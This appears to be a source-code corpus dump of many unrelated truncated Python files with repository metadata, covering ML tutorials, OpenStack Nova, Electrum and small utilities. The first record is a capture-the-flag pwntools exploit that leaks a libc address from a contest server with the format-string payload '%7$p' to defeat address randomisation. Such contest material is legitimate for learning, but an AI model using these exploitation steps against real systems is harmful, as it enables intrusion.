] | 101 | 2020-03-09T17:40:47.000Z | 2022-03-31T23:26:55.000Z | utctf2020/zurk/exploit.py | nhtri2003gmail/ctf-write-ups | 7e969c47027c39b614e10739ae3a953eed17dfa3 | [
"MIT"
] | 1 | 2021-11-09T13:39:40.000Z | 2021-11-10T19:15:04.000Z | utctf2020/zurk/exploit.py | datajerk/ctf-write-ups | 1bc4ecc63a59de7d924c7214b1ce467801792da0 | [
"MIT"
] | 31 | 2020-05-27T12:29:50.000Z | 2022-03-31T23:23:32.000Z | #!/usr/bin/env python
from pwn import *
libc = ELF('libc-2.23.so')
#p = process('./zurk')
p = remote('binary.utctf.live',9003)
p.recvuntil('to do?')
p.sendline('%7$p')
_IO_2_1_stdout_ = int(p.recvuntil('to do?').split()[0],0)
_IO_2_1_stdout_offset = libc.symbols['_IO_2_1_stdout_']
base = _IO_2_1_stdout_ - _IO_2_1_s... | 21.410256 | 58 | 0.65509 |
from pwn import *
libc = ELF('libc-2.23.so')
p = remote('binary.utctf.live',9003)
p.recvuntil('to do?')
p.sendline('%7$p')
_IO_2_1_stdout_ = int(p.recvuntil('to do?').split()[0],0)
_IO_2_1_stdout_offset = libc.symbols['_IO_2_1_stdout_']
base = _IO_2_1_stdout_ - _IO_2_1_stdout_offset
zurk=ELF('zurk')
_printf = zurk... | true | true |
1c491fcff19cab06a1d0d644a25667157e9d40d8 | 1,446 | py | Python | python/hashmap_repeated_word/tests/test_hashmap_repeated_word.py | mohmmadnoorjebreen/data-structures-and-algorithms | ab69cd9dc48e8508947a6f3f316cb44a96c99c42 | [
"MIT"
] | null | null | null | python/hashmap_repeated_word/tests/test_hashmap_repeated_word.py | mohmmadnoorjebreen/data-structures-and-algorithms | ab69cd9dc48e8508947a6f3f316cb44a96c99c42 | [
"MIT"
] | 18 | 2021-07-29T19:52:28.000Z | 2021-09-11T11:22:43.000Z | python/hashmap_repeated_word/tests/test_hashmap_repeated_word.py | mohmmadnoorjebreen/data-structures-and-algorithms | ab69cd9dc48e8508947a6f3f316cb44a96c99c42 | [
"MIT"
] | null | null | null | from hashmap_repeated_word import __version__
from hashmap_repeated_word.hashmap import HashTable
def test_version():
assert __version__ == '0.1.0'
def test_hashmap_repeated_word_1():
hash = HashTable()
str="Once upon a time, there was a brave princess who..."
excepted = 'a'
actual = hash.hashmap_... | 51.642857 | 625 | 0.739281 | from hashmap_repeated_word import __version__
from hashmap_repeated_word.hashmap import HashTable
def test_version():
assert __version__ == '0.1.0'
def test_hashmap_repeated_word_1():
hash = HashTable()
str="Once upon a time, there was a brave princess who..."
excepted = 'a'
actual = hash.hashmap_... | true | true |
1c4921cfeca9e8e27f2d0b623dc27dabba9abc92 | 10,495 | py | Python | ipt/ipt_filter_contour_by_size.py | tpmp-inra/ipapi | b0f6be8960a20dbf95ef9df96efdd22bd6e031c5 | [
"MIT"
] | 1 | 2020-06-30T06:53:36.000Z | 2020-06-30T06:53:36.000Z | ipt/ipt_filter_contour_by_size.py | tpmp-inra/ipapi | b0f6be8960a20dbf95ef9df96efdd22bd6e031c5 | [
"MIT"
] | null | null | null | ipt/ipt_filter_contour_by_size.py | tpmp-inra/ipapi | b0f6be8960a20dbf95ef9df96efdd22bd6e031c5 | [
"MIT"
] | null | null | null | from ipso_phen.ipapi.base.ipt_abstract import IptBase
from ipso_phen.ipapi.tools import regions
import numpy as np
import cv2
import logging
logger = logging.getLogger(__name__)
from ipso_phen.ipapi.base import ip_common as ipc
class IptFilterContourBySize(IptBase):
def build_params(self):
... | 38.443223 | 107 | 0.429252 | from ipso_phen.ipapi.base.ipt_abstract import IptBase
from ipso_phen.ipapi.tools import regions
import numpy as np
import cv2
import logging
logger = logging.getLogger(__name__)
from ipso_phen.ipapi.base import ip_common as ipc
class IptFilterContourBySize(IptBase):
def build_params(self):
... | true | true |
1c4921e62a6001ff0f0f76cfce152834392f6e19 | 580 | py | Python | run_gpulearn_yz_x.py | noskill/nips14-ssl | 4c4aa624d6f666814f3c058141dd52cf7aabdee6 | [
"MIT"
] | 496 | 2015-01-02T06:44:17.000Z | 2022-03-17T22:02:34.000Z | run_gpulearn_yz_x.py | noskill/nips14-ssl | 4c4aa624d6f666814f3c058141dd52cf7aabdee6 | [
"MIT"
] | 6 | 2015-01-16T00:04:31.000Z | 2018-06-25T07:02:26.000Z | run_gpulearn_yz_x.py | noskill/nips14-ssl | 4c4aa624d6f666814f3c058141dd52cf7aabdee6 | [
"MIT"
] | 184 | 2015-01-02T05:16:08.000Z | 2021-04-08T10:31:42.000Z | import gpulearn_yz_x
import sys
if sys.argv[1] == 'svhn':
n_hidden = [500,500]
if len(sys.argv) == 4:
n_hidden = [int(sys.argv[2])]*int(sys.argv[3])
gpulearn_yz_x.main(dataset='svhn', n_z=300, n_hidden=n_hidden, seed=0, gfx=True)
elif sys.argv[1] == 'mnist':
n_hidden = (500,500)
if len(sys... | 30.526316 | 85 | 0.617241 | import gpulearn_yz_x
import sys
if sys.argv[1] == 'svhn':
n_hidden = [500,500]
if len(sys.argv) == 4:
n_hidden = [int(sys.argv[2])]*int(sys.argv[3])
gpulearn_yz_x.main(dataset='svhn', n_z=300, n_hidden=n_hidden, seed=0, gfx=True)
elif sys.argv[1] == 'mnist':
n_hidden = (500,500)
if len(sys... | true | true |
1c4922310667808dfb15380c7f3590c83f9563ff | 1,985 | py | Python | process_data.py | ekhoda/optimization-tutorial | 8847625aa49813823b47165c5f457294729459b6 | [
"MIT"
] | 41 | 2019-03-07T17:03:51.000Z | 2021-11-08T12:19:54.000Z | process_data.py | ekhoda/optimization-tutorial | 8847625aa49813823b47165c5f457294729459b6 | [
"MIT"
] | null | null | null | process_data.py | ekhoda/optimization-tutorial | 8847625aa49813823b47165c5f457294729459b6 | [
"MIT"
] | 15 | 2018-11-15T11:30:51.000Z | 2022-01-08T08:58:33.000Z | import pandas as pd
from helper import load_raw_data
def load_data():
return get_modified_data(load_raw_data())
def get_modified_data(input_df_dict):
# Our "parameters" table is very simple here. So, we can create a new dictionary
# for our parameters as follows or just modify our df a little in place.... | 37.45283 | 97 | 0.71738 | import pandas as pd
from helper import load_raw_data
def load_data():
return get_modified_data(load_raw_data())
def get_modified_data(input_df_dict):
# the dictionary. In the comment below, I also show the latter for illustration
# input_df_dict['parameters'].set_index('attribute', inplace... | true | true |
1c4922af46079adc1099dbedfdb026e3a72fa3a1 | 2,275 | py | Python | tests/test_public_functions.py | staneslevski/WorldTradingDataPythonSDK | 3460160acb8194bbc9bb1373e48b95e9d520c402 | [
"MIT"
] | 12 | 2019-07-30T12:38:12.000Z | 2022-01-15T10:05:47.000Z | tests/test_public_functions.py | staneslevski/WorldTradingDataPythonSDK | 3460160acb8194bbc9bb1373e48b95e9d520c402 | [
"MIT"
] | 2 | 2020-06-09T18:03:11.000Z | 2021-06-01T23:57:47.000Z | tests/test_public_functions.py | staneslevski/WorldTradingDataPythonSDK | 3460160acb8194bbc9bb1373e48b95e9d520c402 | [
"MIT"
] | null | null | null | from worldtradingdata.public.base import WorldTradingData
import worldtradingdata.public.base as wtd_lib
from .secure import api_token
# def test_world_trading_data_class():
# wtd = worldtradingdata(api_token)
# result = wtd.stock_search('AAPL')
# # print(result)
# assert type(result) == dict
# ne... | 30.743243 | 77 | 0.639121 | from worldtradingdata.public.base import WorldTradingData
import worldtradingdata.public.base as wtd_lib
from .secure import api_token
def test_filter_unwanted_params():
params = {
'foo': 'bar',
'horrible': 'do no keep me'
}
unwanted_keys = ['horrible']
filtered = wtd_lib.filter_unwa... | true | true |
1c4922b8a88085015e55a3d6c6e0df39358c9b9b | 3,577 | py | Python | DataAnalysis/day1_9/bayes.py | yunjung-lee/class_python_numpy | 589817c8bbca85d70596e4097c0ece093b5353c3 | [
"MIT"
] | null | null | null | DataAnalysis/day1_9/bayes.py | yunjung-lee/class_python_numpy | 589817c8bbca85d70596e4097c0ece093b5353c3 | [
"MIT"
] | null | null | null | DataAnalysis/day1_9/bayes.py | yunjung-lee/class_python_numpy | 589817c8bbca85d70596e4097c0ece093b5353c3 | [
"MIT"
] | null | null | null | """
1) 텍스트 -> 학습 -> 모델
2) 모델 -> 새로운 텍스트 입력 -> 분류 결과
"""
import math, sys
from konlpy.tag import Twitter
class BayesianFilter:
def __init__(self): #:java의 this=python의 self ,__init__:오타 주의
# print("생성자 함수") self. : init에 붙어있는 함수=> 이름을 모두 써줘야한다.(self. 포함)
self.words =set() #중복된 데이터가 있더... | 33.12037 | 90 | 0.567515 | import math, sys
from konlpy.tag import Twitter
class BayesianFilter:
def __init__(self): self.words =set() self.word_dict={} self.category_dict={}
def split(self,text):
twitter = Twitter()
mailList = twitter.pos(text,norm=True, stem=True)
... | true | true |
1c4923a68f5b3aa7d928c0a1116e10e76c6838cc | 52 | py | Python | rl_trader/engine/rl_environment/types/test/env_account_types.test.py | AlexandreMahdhaoui/rl_trader | 5bda02622c7e17c4e6f28a90c510cfe8f914f7a8 | [
"Apache-2.0"
] | null | null | null | rl_trader/engine/rl_environment/types/test/env_account_types.test.py | AlexandreMahdhaoui/rl_trader | 5bda02622c7e17c4e6f28a90c510cfe8f914f7a8 | [
"Apache-2.0"
] | null | null | null | rl_trader/engine/rl_environment/types/test/env_account_types.test.py | AlexandreMahdhaoui/rl_trader | 5bda02622c7e17c4e6f28a90c510cfe8f914f7a8 | [
"Apache-2.0"
] | null | null | null | # TODO: TokenWallet
# TODO: Wallets
# TODO: Order
| 8.666667 | 19 | 0.673077 | true | true | |
1c4924a89870fba8aeb1a80cb094666a4e54672e | 1,810 | py | Python | PiCode/src/maskcam/settings.py | SilentByte/healthcam | 70401073d6695196e2d3bc6c86e96e822f5d3f7f | [
"MIT"
] | 2 | 2020-07-14T22:36:38.000Z | 2020-10-04T19:05:58.000Z | PiCode/src/maskcam/settings.py | SilentByte/healthcam | 70401073d6695196e2d3bc6c86e96e822f5d3f7f | [
"MIT"
] | 1 | 2021-03-10T14:44:52.000Z | 2021-03-10T14:44:52.000Z | PiCode/src/maskcam/settings.py | SilentByte/healthcam | 70401073d6695196e2d3bc6c86e96e822f5d3f7f | [
"MIT"
] | 1 | 2020-06-13T20:19:13.000Z | 2020-06-13T20:19:13.000Z | from knobs import Knob
from socket import gethostname
# Knobs are basically wrappers for os.getenvs that have some niceties
CAMERA_NUMBER = Knob(env_name="CAMERA_NUMBER", default=0,
description="Raspberry Pi camera number according to "
"https://picamera.readthe... | 51.714286 | 161 | 0.726519 | from knobs import Knob
from socket import gethostname
CAMERA_NUMBER = Knob(env_name="CAMERA_NUMBER", default=0,
description="Raspberry Pi camera number according to "
"https://picamera.readthedocs.io/en/release-1.13/api_camera.html#picamera")
INVERT_CAMERA = Kn... | true | true |
1c4924bb20432bd7d11510e29208dac1453c8851 | 339 | py | Python | kubernetes_typed/client/models/v2beta1_cross_version_object_reference.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | 22 | 2020-12-10T13:06:02.000Z | 2022-02-13T21:58:15.000Z | kubernetes_typed/client/models/v2beta1_cross_version_object_reference.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | 4 | 2021-03-08T07:06:12.000Z | 2022-03-29T23:41:45.000Z | kubernetes_typed/client/models/v2beta1_cross_version_object_reference.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | 2 | 2021-09-05T19:18:28.000Z | 2022-03-14T02:56:17.000Z | # Code generated by `typeddictgen`. DO NOT EDIT.
"""V2beta1CrossVersionObjectReferenceDict generated type."""
from typing import TypedDict
V2beta1CrossVersionObjectReferenceDict = TypedDict(
"V2beta1CrossVersionObjectReferenceDict",
{
"apiVersion": str,
"kind": str,
"name": str,
},
... | 24.214286 | 60 | 0.690265 | from typing import TypedDict
V2beta1CrossVersionObjectReferenceDict = TypedDict(
"V2beta1CrossVersionObjectReferenceDict",
{
"apiVersion": str,
"kind": str,
"name": str,
},
total=False,
)
| true | true |
1c4926361dab09cb57d6a664d216e7a0e927ff3b | 630 | py | Python | var/spack/repos/builtin/packages/tinyobjloader/package.py | jeanbez/spack | f4e51ce8f366c85bf5aa0eafe078677b42dae1ba | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | var/spack/repos/builtin/packages/tinyobjloader/package.py | jeanbez/spack | f4e51ce8f366c85bf5aa0eafe078677b42dae1ba | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 8 | 2021-11-09T20:28:40.000Z | 2022-03-15T03:26:33.000Z | var/spack/repos/builtin/packages/tinyobjloader/package.py | jeanbez/spack | f4e51ce8f366c85bf5aa0eafe078677b42dae1ba | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 2 | 2019-02-08T20:37:20.000Z | 2019-03-31T15:19:26.000Z | # Copyright 2013-2022 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack.package import *
class Tinyobjloader(CMakePackage):
"""Tiny but powerful single file wavefront obj loader... | 35 | 95 | 0.749206 |
from spack.package import *
class Tinyobjloader(CMakePackage):
homepage = "https://github.com/tinyobjloader/tinyobjloader"
url = "https://github.com/tinyobjloader/tinyobjloader/archive/refs/tags/v1.0.6.tar.gz"
version('1.0.6', sha256='19ee82cd201761954dd833de551edb570e33b320d6027e0d91455faf7cd4c34... | true | true |
1c49296bf4eb5e9772b93dad7e955a46f4cb4516 | 11,549 | py | Python | bg_biz/service/config_service.py | sluggard6/bgirl | 3c9fa895189ef16442694830d0c05cf60ee5187b | [
"Apache-2.0"
] | null | null | null | bg_biz/service/config_service.py | sluggard6/bgirl | 3c9fa895189ef16442694830d0c05cf60ee5187b | [
"Apache-2.0"
] | null | null | null | bg_biz/service/config_service.py | sluggard6/bgirl | 3c9fa895189ef16442694830d0c05cf60ee5187b | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8 -*-
from datetime import datetime
import json
from flask import current_app, g
from sqlalchemy import and_, or_
from sharper.flaskapp.orm.display_enum import DisplayEnum
from sharper.lib.error import AppError
from sharper.util.app_util import get_package_name
import time
from sharper.util.fi... | 41.844203 | 201 | 0.591393 | from datetime import datetime
import json
from flask import current_app, g
from sqlalchemy import and_, or_
from sharper.flaskapp.orm.display_enum import DisplayEnum
from sharper.lib.error import AppError
from sharper.util.app_util import get_package_name
import time
from sharper.util.file import get_file_fix
... | true | true |
1c492a326a630c0812bf986265152c0cc4352601 | 235 | py | Python | .history/myblog/views_20200416030503.py | abhinavmarwaha/demo-django-blog | c80a7d825e44d7e1589d9272c3583764562a2515 | [
"MIT"
] | null | null | null | .history/myblog/views_20200416030503.py | abhinavmarwaha/demo-django-blog | c80a7d825e44d7e1589d9272c3583764562a2515 | [
"MIT"
] | null | null | null | .history/myblog/views_20200416030503.py | abhinavmarwaha/demo-django-blog | c80a7d825e44d7e1589d9272c3583764562a2515 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.views import generic
from .models import Post
class PostList(generic.ListView):
queryset = Post.objects.filter(status=1).order_by('-created_on')
template_name = index.html
| 23.5 | 68 | 0.761702 | from django.shortcuts import render
from django.views import generic
from .models import Post
class PostList(generic.ListView):
queryset = Post.objects.filter(status=1).order_by('-created_on')
template_name = index.html
| true | true |
1c492bb5767583c8fa3013ba7fd04abc59028ca4 | 14,503 | py | Python | applications/MappingApplication/tests/basic_mapper_tests.py | lcirrott/Kratos | 8406e73e0ad214c4f89df4e75e9b29d0eb4a47ea | [
"BSD-4-Clause"
] | 2 | 2019-10-25T09:28:10.000Z | 2019-11-21T12:51:46.000Z | applications/MappingApplication/tests/basic_mapper_tests.py | lcirrott/Kratos | 8406e73e0ad214c4f89df4e75e9b29d0eb4a47ea | [
"BSD-4-Clause"
] | 13 | 2019-10-07T12:06:51.000Z | 2020-02-18T08:48:33.000Z | applications/MappingApplication/tests/basic_mapper_tests.py | lcirrott/Kratos | 8406e73e0ad214c4f89df4e75e9b29d0eb4a47ea | [
"BSD-4-Clause"
] | null | null | null | from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7
import KratosMultiphysics as KM
import KratosMultiphysics.MappingApplication as KratosMapping
data_comm = KM.DataCommunicator.GetDefault()
import mapper_test_case
from math import si... | 55.56705 | 158 | 0.745984 | from __future__ import print_function, absolute_import, division
import KratosMultiphysics as KM
import KratosMultiphysics.MappingApplication as KratosMapping
data_comm = KM.DataCommunicator.GetDefault()
import mapper_test_case
from math import sin, cos
import os
def GetFilePath(file_name):
return os.path.join(o... | true | true |
1c492bcb27d27789656c4e0b0678b09dd514cab8 | 94,240 | py | Python | nova/compute/resource_tracker.py | zjzh/nova | 7bb21723171c59b93e28f5d508c2b6df39220f13 | [
"Apache-2.0"
] | 1,874 | 2015-01-04T05:18:34.000Z | 2022-03-31T03:30:28.000Z | nova/compute/resource_tracker.py | zjzh/nova | 7bb21723171c59b93e28f5d508c2b6df39220f13 | [
"Apache-2.0"
] | 40 | 2015-04-13T02:32:42.000Z | 2022-02-16T02:28:06.000Z | nova/compute/resource_tracker.py | zjzh/nova | 7bb21723171c59b93e28f5d508c2b6df39220f13 | [
"Apache-2.0"
] | 1,996 | 2015-01-04T15:11:51.000Z | 2022-03-31T11:03:13.000Z | # Copyright (c) 2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 47.190786 | 79 | 0.620055 |
import collections
import copy
from keystoneauth1 import exceptions as ks_exc
import os_traits
from oslo_log import log as logging
from oslo_serialization import jsonutils
from oslo_utils import excutils
import retrying
from nova.compute import claims
from nova.compute import monitors
from nova.compute import provid... | true | true |
1c492c4e9a84606e0f299dd1ac558d6f7ef71d04 | 2,113 | py | Python | system-tests/headbanger.py | jameszha/ARENA-py | 209d93e9b91ba1d0c306b307e6dcb8411aada5b3 | [
"BSD-3-Clause"
] | null | null | null | system-tests/headbanger.py | jameszha/ARENA-py | 209d93e9b91ba1d0c306b307e6dcb8411aada5b3 | [
"BSD-3-Clause"
] | null | null | null | system-tests/headbanger.py | jameszha/ARENA-py | 209d93e9b91ba1d0c306b307e6dcb8411aada5b3 | [
"BSD-3-Clause"
] | null | null | null | from arena import *
import random
import datetime
import time
scene = Scene(host="arenaxr.org", realm="realm", scene="headbanger", )
# Create models
# How Many heads?
heads=100
# Type of head. 0- box, 1- GLTF
head_type=1
headlist = []
cnt=0
for x in range(heads):
if head_type==1:
head = GLTF(
... | 25.768293 | 103 | 0.515381 | from arena import *
import random
import datetime
import time
scene = Scene(host="arenaxr.org", realm="realm", scene="headbanger", )
heads=100
head_type=1
headlist = []
cnt=0
for x in range(heads):
if head_type==1:
head = GLTF(
object_id="head"+str(cnt),
position=(random.random()*10, ... | true | true |
1c492ca7cd4baf1ea04cbb601645e54184e6e258 | 20,735 | py | Python | laikaboss/objectmodel.py | sandialabs/laikaboss | 3064ac1176911651d61c5176e9bd83eacec36b16 | [
"Apache-2.0"
] | 2 | 2019-11-02T23:40:23.000Z | 2019-12-01T22:24:57.000Z | laikaboss/objectmodel.py | sandialabs/laikaboss | 3064ac1176911651d61c5176e9bd83eacec36b16 | [
"Apache-2.0"
] | null | null | null | laikaboss/objectmodel.py | sandialabs/laikaboss | 3064ac1176911651d61c5176e9bd83eacec36b16 | [
"Apache-2.0"
] | 3 | 2017-08-09T23:58:40.000Z | 2019-12-01T22:25:06.000Z | # Copyright 2015 Lockheed Martin Corporation
# Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC
# (NTESS). Under the terms of Contract DE-NA0003525 with NTESS, the U.S.
# Government retains certain rights in this software.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# ... | 31.22741 | 167 | 0.599518 | from builtins import bytes
from builtins import str
from past.builtins import basestring
from builtins import object
from builtins import int
from laikaboss.constants import level_minimal, level_metadata
import logging
import base64
import time
import uuid
import json
def convertToUTF8(thing):
if isinstance(thing,... | true | true |
1c492d7823e57027410a6a13a82d1f14a113d5cc | 2,796 | py | Python | gbd_tool/util.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | null | null | null | gbd_tool/util.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | null | null | null | gbd_tool/util.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | 1 | 2019-03-11T17:34:27.000Z | 2019-03-11T17:34:27.000Z | # Global Benchmark Database (GBD)
# Copyright (C) 2020 Markus Iser, Karlsruhe Institute of Technology (KIT)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or... | 29.744681 | 101 | 0.616595 |
import sys
import bz2
import gzip
import lzma
import io
__all__ = ['eprint', 'read_hashes', 'confirm', 'open_cnf_file', 'is_number']
def is_number(s):
try:
float(s)
return True
except ValueError:
return False
def open_cnf_file(filename, mode):
obj = None
if filename.endswith... | true | true |
1c492e2bffd7ccc7f803675a75443d0ae9f21d29 | 832 | py | Python | example_denoiser.py | Jeffrey-Ede/Electron-Micrograph-Denoiser | 23e4fa6a79540d9ce8e294d12623e972e3b9b584 | [
"MIT"
] | 9 | 2018-08-25T20:28:48.000Z | 2021-09-26T11:01:04.000Z | example_denoiser.py | Jeffrey-Ede/Electron-Micrograph-Denoiser | 23e4fa6a79540d9ce8e294d12623e972e3b9b584 | [
"MIT"
] | null | null | null | example_denoiser.py | Jeffrey-Ede/Electron-Micrograph-Denoiser | 23e4fa6a79540d9ce8e294d12623e972e3b9b584 | [
"MIT"
] | 2 | 2019-07-02T02:21:44.000Z | 2021-02-21T01:38:48.000Z | import numpy as np
from denoiser import Denoiser, disp
#Create a 1500x1500 image from random numbers for demonstration
#Try replacing this with your own image!
img = np.random.rand(1500, 1500)
#Replace with the location of your saved checkpoint
checkpoint_loc = "//flexo.ads.warwick.ac.uk/Shared41/Microscopy/J... | 33.28 | 112 | 0.78125 | import numpy as np
from denoiser import Denoiser, disp
img = np.random.rand(1500, 1500)
checkpoint_loc = "//flexo.ads.warwick.ac.uk/Shared41/Microscopy/Jeffrey-Ede/models/denoiser-multi-gpu-13/model"
noise_remover = Denoiser(checkpoint_loc=checkpoint_loc, visible_cuda="0")
crop = img[:512,:512]
denoised_c... | true | true |
1c492f160e5e930221c363008f27a84a830d7761 | 7,425 | py | Python | ch16/ch16-part1-self-attention.py | ericgarza70/machine-learning-book | 073bebee7d4f7803cc4b7f790bd18d11cdb4c901 | [
"MIT"
] | 655 | 2021-12-19T00:33:00.000Z | 2022-03-31T16:30:36.000Z | ch16/ch16-part1-self-attention.py | Topmost2020/machine-learning-book | 40520104c3d76d75ce4aa785e59e8034f74bcc8e | [
"MIT"
] | 41 | 2022-01-14T14:22:02.000Z | 2022-03-31T16:26:09.000Z | ch16/ch16-part1-self-attention.py | Topmost2020/machine-learning-book | 40520104c3d76d75ce4aa785e59e8034f74bcc8e | [
"MIT"
] | 180 | 2021-12-20T07:05:42.000Z | 2022-03-31T07:38:20.000Z | # coding: utf-8
import sys
from python_environment_check import check_packages
import torch
import torch.nn.functional as F
# # Machine Learning with PyTorch and Scikit-Learn
# # -- Code Examples
# ## Package version checks
# Add folder to path in order to load from the check_packages.py script:
sys.path.inse... | 19.74734 | 198 | 0.724444 |
import sys
from python_environment_check import check_packages
import torch
import torch.nn.functional as F
sys.path.insert(0, '..')
d = {
'torch': '1.9.0',
}
check_packages(d)
sentence = torch.tensor(
[0, 7, 1, 2, 5, 6, 4, 3] )
... | true | true |
1c49318bff6d5183bcc5c2c6c25c9a5820e01828 | 35,956 | py | Python | lib/commands.py | Bryangoodson/electrum-vtc-tor | 8e80ee8aff59fc62db93646ba980b37a2ed81e38 | [
"MIT"
] | 1 | 2021-04-04T20:40:29.000Z | 2021-04-04T20:40:29.000Z | lib/commands.py | Bryangoodson/electrum-vtc-tor | 8e80ee8aff59fc62db93646ba980b37a2ed81e38 | [
"MIT"
] | null | null | null | lib/commands.py | Bryangoodson/electrum-vtc-tor | 8e80ee8aff59fc62db93646ba980b37a2ed81e38 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2011 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... | 40.859091 | 205 | 0.618033 |
import os
import sys
import datetime
import time
import copy
import argparse
import json
import ast
import base64
from functools import wraps
from decimal import Decimal
import util
from util import print_msg, format_satoshis, print_stderr
import bitcoin
from bitcoin import is_address, hash_160, COIN, TYPE_ADDRESS
im... | true | true |
1c4931b2ce54ed4a4a4fea489199492662beed88 | 482 | py | Python | tradingsignal/listeners/logging_listener.py | TradingSignal/TradingSignal | 7fd828fe51832addea65b928193ce625bd091f2c | [
"Apache-2.0"
] | 5 | 2020-10-06T14:39:06.000Z | 2021-01-29T22:57:43.000Z | tradingsignal/listeners/logging_listener.py | TradingSignal/TradingSignal | 7fd828fe51832addea65b928193ce625bd091f2c | [
"Apache-2.0"
] | null | null | null | tradingsignal/listeners/logging_listener.py | TradingSignal/TradingSignal | 7fd828fe51832addea65b928193ce625bd091f2c | [
"Apache-2.0"
] | null | null | null | from typing import Text, Union, Any, Optional, Dict
from tradingsignal.listeners.event_listeners import EventListener
from tradingsignal.utils import ts_logging
class LoggingListener(EventListener):
"""write the results of data miner into log-file"""
def __init__(self, listener_config: Optional[Dict[Text, An... | 34.428571 | 80 | 0.736515 | from typing import Text, Union, Any, Optional, Dict
from tradingsignal.listeners.event_listeners import EventListener
from tradingsignal.utils import ts_logging
class LoggingListener(EventListener):
def __init__(self, listener_config: Optional[Dict[Text, Any]] = {}) -> None:
self.listener_config = listen... | true | true |
1c49322b07d5450efbc1f93e9f32227158b33898 | 2,910 | py | Python | fn_sep/tests/test_fn_sep_get_fingerprint_list.py | nickpartner-goahead/resilient-community-apps | 097c0dbefddbd221b31149d82af9809420498134 | [
"MIT"
] | 65 | 2017-12-04T13:58:32.000Z | 2022-03-24T18:33:17.000Z | fn_sep/tests/test_fn_sep_get_fingerprint_list.py | nickpartner-goahead/resilient-community-apps | 097c0dbefddbd221b31149d82af9809420498134 | [
"MIT"
] | 48 | 2018-03-02T19:17:14.000Z | 2022-03-09T22:00:38.000Z | fn_sep/tests/test_fn_sep_get_fingerprint_list.py | nickpartner-goahead/resilient-community-apps | 097c0dbefddbd221b31149d82af9809420498134 | [
"MIT"
] | 95 | 2018-01-11T16:23:39.000Z | 2022-03-21T11:34:29.000Z | # -*- coding: utf-8 -*-
# (c) Copyright IBM Corp. 2010, 2019. All Rights Reserved.
# pragma pylint: disable=unused-argument, no-self-use
"""Tests for fn_sep_get_fingerprint_list function."""
from __future__ import print_function
import pytest
from mock import patch
from resilient_circuits.util import get_config_data, ... | 43.432836 | 114 | 0.74433 |
from __future__ import print_function
import pytest
from mock import patch
from resilient_circuits.util import get_config_data, get_function_definition
from resilient_circuits import SubmitTestFunction, FunctionResult
from mock_artifacts import mocked_sep_client, get_mock_config
PACKAGE_NAME = "fn_sep"
FUNCTION_NAME ... | true | true |
1c49329107cffec488cce739bd64e89247a4a335 | 6,661 | py | Python | sync_repositories/__main__.py | whisperity/sync-repositories | 3dfa99e34ed39cfd9849e08a365f368484606a71 | [
"MIT"
] | null | null | null | sync_repositories/__main__.py | whisperity/sync-repositories | 3dfa99e34ed39cfd9849e08a365f368484606a71 | [
"MIT"
] | null | null | null | sync_repositories/__main__.py | whisperity/sync-repositories | 3dfa99e34ed39cfd9849e08a365f368484606a71 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
SYNOPSIS: Automatically updates every found source code repository in the
current tree, or the specified path.
"""
import argparse
import os
import subprocess
import sys
from sync_repositories.credentials import Backends
from sync_repositories.credentials import keyring as kr
from... | 42.698718 | 78 | 0.513436 |
import argparse
import os
import subprocess
import sys
from sync_repositories.credentials import Backends
from sync_repositories.credentials import keyring as kr
from sync_repositories.repository import get_repositories
def _main():
if 'SR_ASKPASS' in os.environ:
from sync_repositories.credentials i... | true | true |
1c4932be8e576569e3c4e7823db66650224b721f | 994 | py | Python | pythonbrasil/exercicios/decisao/DE resp 15.py | adinsankofa/python | 8f2f26c77015c0baaa76174e004406b4115272c7 | [
"MIT"
] | null | null | null | pythonbrasil/exercicios/decisao/DE resp 15.py | adinsankofa/python | 8f2f26c77015c0baaa76174e004406b4115272c7 | [
"MIT"
] | null | null | null | pythonbrasil/exercicios/decisao/DE resp 15.py | adinsankofa/python | 8f2f26c77015c0baaa76174e004406b4115272c7 | [
"MIT"
] | null | null | null | '''
Faça um Programa que peça os 3 lados de um triângulo. O programa deverá
informar se os valores podem ser um triângulo. Indique, caso os lados
formem um triângulo, se o mesmo é: equilátero, isósceles ou escaleno.
Dicas:
Três lados formam um triângulo quando a soma de quaisquer dois lados
for maior que o terceiro;
T... | 27.611111 | 71 | 0.610664 |
a = int(input("Digite o lado A: "))
b = int(input("Digite o lado B: "))
c = int(input("Digite o lado C: "))
if a == b == c:
print("Equilatero")
elif a == b != c or a != b == c or a == c != b:
print("Isóceles")
elif a != b != c and a != c != b:
print("Escaleno")
def triangulo(a,b,c):
if... | true | true |
1c4932ce9eee5168bc71bca608758c9f07cc6305 | 19,257 | py | Python | nilearn/regions/parcellations.py | celinede/nilearn | 901a627c4c5ae491fef19d58307805b3657b3b7e | [
